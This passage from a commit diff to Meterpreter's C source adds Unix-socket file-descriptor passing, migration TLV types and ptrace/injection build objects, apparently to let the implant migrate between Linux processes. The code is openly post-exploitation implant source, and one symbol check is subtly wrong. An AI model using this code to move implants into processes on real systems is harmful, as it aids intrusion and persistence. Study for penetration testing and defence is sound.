* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
stop_server(server_un *s) {
|
||||
if (s == NULL) {
|
||||
dprintf("[UNIX SOCKET SERVER] NULL server");
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
close_connection(&(s->client));
|
||||
close(s->socket);
|
||||
unlink(s->local.sun_path);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Sends a files descriptor over an existing connection.
|
||||
* @param c Pointer to the \c connection_un to send the socket.
|
||||
* @param fd file descriptor to send.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
send_socket(connection_un *c, HANDLE fd) {
|
||||
struct iovec vector;
|
||||
struct msghdr msg;
|
||||
struct cmsghdr * cmsg;
|
||||
|
||||
dprintf("[UNIX SOCKET SERVER] Building message for socket sharing...");
|
||||
vector.iov_base = "METERPRETER";
|
||||
vector.iov_len = strlen("METERPRETER") + 1;
|
||||
|
||||
msg.msg_name = NULL;
|
||||
msg.msg_namelen = 0;
|
||||
msg.msg_iov = &vector;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
cmsg = alloca(sizeof(struct cmsghdr) + sizeof(fd));
|
||||
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(fd);
|
||||
cmsg->cmsg_level = SOL_SOCKET;
|
||||
cmsg->cmsg_type = SCM_RIGHTS;
|
||||
|
||||
memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
|
||||
|
||||
msg.msg_control = cmsg;
|
||||
msg.msg_controllen = cmsg->cmsg_len;
|
||||
|
||||
if (sendmsg(c->socket, &msg, 0) != vector.iov_len) {
|
||||
dprintf("[UNIX SOCKET SERVER] sendmsg failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
29
c/meterpreter/source/common/arch/posix/unix_socket_server.h
Normal file
29
c/meterpreter/source/common/arch/posix/unix_socket_server.h
Normal file
@ -0,0 +1,29 @@
|
||||
/*!
|
||||
* @file unix_socket_server.h
|
||||
* @brief Declarations for functions which provide a unix domain socket server.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
/*! Default timeout (seconds) to apply when waiting for a new connection. */
|
||||
#define DEFAULT_TIMEOUT 5
|
||||
|
||||
/*! @brief Container struct for a connection handled by the server. */
|
||||
typedef struct {
|
||||
SOCKET socket; ///< Connection socket.
|
||||
struct sockaddr_un remote; ///< Address of the connection.
|
||||
} connection_un;
|
||||
|
||||
/*! @brief Container struct for a unix domain socket server */
|
||||
typedef struct {
|
||||
struct sockaddr_un local; ///< Address of the server.
|
||||
connection_un client; ///< Connection handled by the server.
|
||||
fd_set set; ///< Set of file descriptors to monitor when accepting new connections.
|
||||
struct timeval timeout; ///< Timeout to apply when waitinf for a new connection.
|
||||
SOCKET socket; ///< Server socket.
|
||||
} server_un;
|
||||
|
||||
LONG start_server(server_un *s, LPSTR sock_path);
|
||||
LONG accept_connection(server_un *s, DWORD timeout);
|
||||
LONG close_connection(connection_un *c);
|
||||
LONG stop_server(server_un *s);
|
||||
LONG send_socket(connection_un *c, HANDLE fd);
|
@ -42,6 +42,11 @@
|
||||
|
||||
#include <sys/atomics.h>
|
||||
|
||||
#include <sys/ptrace.h>
|
||||
#include <user.h>
|
||||
#include <errno.h>
|
||||
#include <sys/un.h>
|
||||
|
||||
#define FLAGS_LEN 100
|
||||
|
||||
typedef struct ___u128 {
|
||||
|
@ -140,6 +140,9 @@ typedef enum
|
||||
TLV_TYPE_MIGRATE_PAYLOAD = TLV_VALUE(TLV_META_TYPE_STRING, 404), ///< Represents a migration payload (string).
|
||||
TLV_TYPE_MIGRATE_ARCH = TLV_VALUE(TLV_META_TYPE_UINT, 405), ///< Represents a migration target architecture.
|
||||
TLV_TYPE_MIGRATE_TECHNIQUE = TLV_VALUE(TLV_META_TYPE_UINT, 406), ///< Represents a migration technique (unsigned int).
|
||||
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_VALUE(TLV_META_TYPE_UINT, 407), ///< Represents a migration payload base address (unsigned int).
|
||||
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_VALUE(TLV_META_TYPE_UINT, 408), ///< Represents a migration payload entry point (unsigned int).
|
||||
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_VALUE(TLV_META_TYPE_STRING, 409), ///< Represents a unix domain socket path, used to migrate on linux (string)
|
||||
|
||||
// Cryptography
|
||||
TLV_TYPE_CIPHER_NAME = TLV_VALUE(TLV_META_TYPE_STRING, 500), ///< Represents the name of a cipher.
|
||||
|
@ -15,6 +15,7 @@
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <endian.h>
|
||||
|
||||
#include <sys/sysmacros.h>
|
||||
@ -62,13 +63,17 @@ extern int (*pthread_mutex_lock_fp)(pthread_mutex_t *mutex);
|
||||
extern int (*pthread_mutex_unlock_fp)(pthread_mutex_t *mutex);
|
||||
|
||||
int dlsocket(void *libc);
|
||||
int pass_fd(void *libc);
|
||||
void perform_fd_cleanup(int *fd);
|
||||
|
||||
#define OPT_DEBUG_ENABLE (1 << 0)
|
||||
#define OPT_NO_FD_CLEANUP (1 << 1)
|
||||
#define OPT_DEBUG_ENABLE (1 << 0)
|
||||
#define OPT_NO_FD_CLEANUP (1 << 1)
|
||||
#define OPT_PASS_FD (1 << 2)
|
||||
|
||||
int global_debug = 0;
|
||||
|
||||
char sock_path[UNIX_PATH_MAX] = "/tmp/meterpreter.sock";
|
||||
|
||||
/*
|
||||
* Map in libraries, and hand off execution to the meterpreter server
|
||||
*/
|
||||
@ -113,7 +118,32 @@ unsigned metsrv_rtld(int fd, int options)
|
||||
pthread_mutex_unlock_fp = unlock_sym;
|
||||
}
|
||||
|
||||
if(fstat(fd, &statbuf) == -1) {
|
||||
if (options & OPT_PASS_FD) {
|
||||
unsigned int (*sleep)(unsigned int seconds);
|
||||
int (*raise)(int sig);
|
||||
|
||||
TRACE("[ Solving symbols ]\n");
|
||||
sleep = dlsym(libs[LIBC_IDX].handle, "sleep");
|
||||
if (!sleep) {
|
||||
TRACE("[ Failed to solve sleep ]\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
raise = dlsym(libs[LIBC_IDX].handle, "raise");
|
||||
if (!raise) {
|
||||
TRACE("[ Failed to solve raise ]\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fd = pass_fd(libs[LIBC_IDX].handle);
|
||||
if (fd == -1) {
|
||||
exit(-1);
|
||||
} else {
|
||||
TRACE("[ Warning the migrating process and give to the server time to catch up... ]\n");
|
||||
raise(SIGTRAP);
|
||||
sleep(4);
|
||||
}
|
||||
} else if(fstat(fd, &statbuf) == -1) {
|
||||
options = OPT_DEBUG_ENABLE;
|
||||
|
||||
TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n");
|
||||
@ -135,6 +165,7 @@ unsigned metsrv_rtld(int fd, int options)
|
||||
global_debug = 1;
|
||||
enable_debugging();
|
||||
}
|
||||
|
||||
TRACE("[ logging will stop unless OPT_NO_FD_CLEANUP is set ]\n");
|
||||
|
||||
if(!(options & OPT_NO_FD_CLEANUP)) {
|
||||
@ -239,6 +270,91 @@ int dlsocket(void *libc)
|
||||
|
||||
}
|
||||
|
||||
int pass_fd(void *libc) {
|
||||
int (*socket)(int domain, int type, int protocol);
|
||||
int (*connect)(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
|
||||
ssize_t (*recvmsg)(int sockfd, struct msghdr *msg, int flags);
|
||||
char * (*strncpy)(char *dst, const char *src, size_t n);
|
||||
int fd = -1;
|
||||
|
||||
TRACE("[ Receiving socket file descriptor ]\n");
|
||||
TRACE("[ Solving symbols ]\n");
|
||||
|
||||
socket = dlsym(libc, "socket");
|
||||
if (!socket) {
|
||||
TRACE("[ Failed to solve socket ]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
connect = dlsym(libc, "connect");
|
||||
if (!connect) {
|
||||
TRACE("[ Failed to solve connect ]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
recvmsg = dlsym(libc, "recvmsg");
|
||||
if (!recvmsg) {
|
||||
TRACE("[ Failed to solve recvmsg ]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
strncpy = dlsym(libc, "strncpy");
|
||||
if (!recvmsg) {
|
||||
TRACE("[ Failed to solve strncpy ]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
TRACE("[ Creating the message structs ]\n");
|
||||
|
||||
char buf[80];
|
||||
struct iovec vector;
|
||||
struct msghdr msg;
|
||||
struct cmsghdr * cmsg;
|
||||
|
||||
int s, t, len;
|
||||
struct sockaddr_un remote;
|
||||
|
||||
vector.iov_base = buf;
|
||||
vector.iov_len = 80;
|
||||
|
||||
msg.msg_name = NULL;
|
||||
msg.msg_namelen = 0;
|
||||
msg.msg_iov = &vector;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
cmsg = alloca(sizeof(struct cmsghdr) + sizeof(fd));
|
||||
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(fd);
|
||||
msg.msg_control = cmsg;
|
||||
msg.msg_controllen = cmsg->cmsg_len;
|
||||
|
||||
TRACE("[ Creating local unix socket ]\n");
|
||||
if ((s = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
|
||||
TRACE("[ Failed to create UNIX SOCKET ]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
remote.sun_family = AF_UNIX;
|
||||
strncpy(remote.sun_path, sock_path, UNIX_PATH_MAX - 1);
|
||||
len = strlen(remote.sun_path) + sizeof(remote.sun_family);
|
||||
if (connect(s, (struct sockaddr *)&remote, len) == -1) {
|
||||
TRACE("[ ERROR connecting ]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!recvmsg(s, &msg, 0)) {
|
||||
TRACE("[ ERROR recvmsg ]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
TRACE("[ Got file descriptor for '%s' ]\n", (char *) vector.iov_base);
|
||||
close(s);
|
||||
|
||||
TRACE("[ Extracting fd... ]\n");
|
||||
memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
|
||||
TRACE("[ fd for socket %d ]\n", fd);
|
||||
return fd;
|
||||
}
|
||||
|
||||
extern soinfo *solist;
|
||||
|
||||
/*
|
||||
|
@ -25,7 +25,7 @@ CC=gcc
|
||||
AR=ar
|
||||
RM=rm
|
||||
|
||||
objects = args.o base.o base_dispatch.o base_dispatch_common.o buffer.o \
|
||||
objects = args.o base.o unix_socket_server.o passfd_server.o ptrace.o base_inject.o base_dispatch.o base_dispatch_common.o buffer.o \
|
||||
channel.o common.o core.o list.o remote.o thread.o xor.o zlib.o
|
||||
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user